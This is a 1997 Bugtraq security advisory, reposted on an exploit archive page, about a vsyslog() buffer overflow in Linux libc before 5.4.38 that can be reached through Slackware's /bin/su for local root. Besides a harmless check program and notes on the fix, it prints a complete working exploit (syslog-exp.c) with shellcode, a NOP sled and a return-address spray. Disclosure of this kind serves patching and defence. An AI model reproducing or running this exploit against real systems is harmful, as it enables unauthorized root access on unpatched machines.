Vsyslog overflow in Linux libc 5.4.38

Standard overflow (although it is pretty sad to see these things in syslog ...)

Author:

Posted by Solar Designer <solar@FALSE.COM>

Compromise:

root (local)

Vulnerable Systems:

Slackware 3.1, Redhat 4.2, possibly other Linux boxes

Date:

21 December 1997

Details

Date: Sun, 21 Dec 1997 00:43:54 -0300
From: Solar Designer <solar@FALSE.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Linux vsyslog() overflow
Hello,
This vulnerability is already fixed in libc 5.4.38, but doesn't seem to be
widely known, and a lot of people are still running vulnerable versions of
libc. Thanks to Jon Lewis for recovering the exploit erased by an intruder.
The buffer overflow is in vsyslog(), by the ident string previously set with
openlog(). It is exploitable via some versions of /bin/su (for example, the
version that comes with Slackware 3.1), and possibly some other privileged
processes that use user-supplied data in ident for openlog() -- could even
be a daemon setting the ident to something like "daemon: username" (I don't
know of any such examples though).
I have verified this is exploitable in libc 5.4.23 and RedHat's 5.3.12-18
that comes with RH 4.2, but is fixed in 5.4.38. It can't be exploited via
/bin/su on standard RedHat setup though.
Actually, the behavior of Slackware's /bin/su is quite stupid anyway:
sunny:/tmp$ ln -s /bin/su kernel
sunny:/tmp$ export PATH=.:$PATH
sunny:/tmp$ kernel
Password:
sunny:/tmp# tail -1 /var/log/messages
Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1
No real security hole here, but this shows it was a stupid thing to use
argv[0] for openlog().
Here goes the original exploit, the author changed the shellcode to run
_bin_sh since /bin/su uses basename(argv[0]) as ident, and using '/' in
the shellcode is not possible. You have to link _bin_sh to /bin/sh and
make sure you have "." in your path before running the exploit.
--- syslog-exp.c ---
/*
vsyslog()/openlog() exploit by BiT - 8/8 1997
Greets to: doodle, skaut, melon, kweiheri etc.
*/
#include <stdlib.h>
#include <unistd.h>
unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
unsigned char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
char *buf,*p;
unsigned long *adr;
int i;
if((p=buf=malloc(2028+28)) == NULL)
exit(-1);
memset(p,0x90,2028);
p+=2028-strlen(shell);
for(i=0;i<strlen(shell);i++)
*p++=shell[i];
adr=(long *)p;
for(i=0;i<7;i++)
*adr++=get_esp();
p=(char *)adr;
*p=0;
execl("/bin/su",buf,NULL);
}
--- syslog-exp.c ---
You can also take my generic return-into-libc exploit (the lpr example),
set SIZE=2100, ALIGNMENT=12, edit the execl() -- and it works just fine,
without a problem with shellcode since there's none.
Since you should fix the vulnerability regardless if it's exploitable via
your version of /bin/su or not, here's a tiny program for checking if your
libc is vulnerable. If this segfaults, you're vulnerable.
--- syslog-check.c ---
#include <syslog.h>
int main()
{
char ident[4096];
memset(ident, 'x', sizeof(ident));
ident[sizeof(ident) - 1] = 0;
openlog(ident, 0, LOG_AUTHPRIV);
syslog(LOG_NOTICE, "message");
return 0;
}
--- syslog-check.c ---
P.S. There's a new version of my non-executable stack patch available at
http://www.false.com/security/linux-stack/ -- the Linux 2.0.33 version
got improved trampoline support (an extra kernel configuration option)
for running with glibc (RedHat 5.0).
Signed,
Solar Designer

More
Exploits!

The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:

This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces: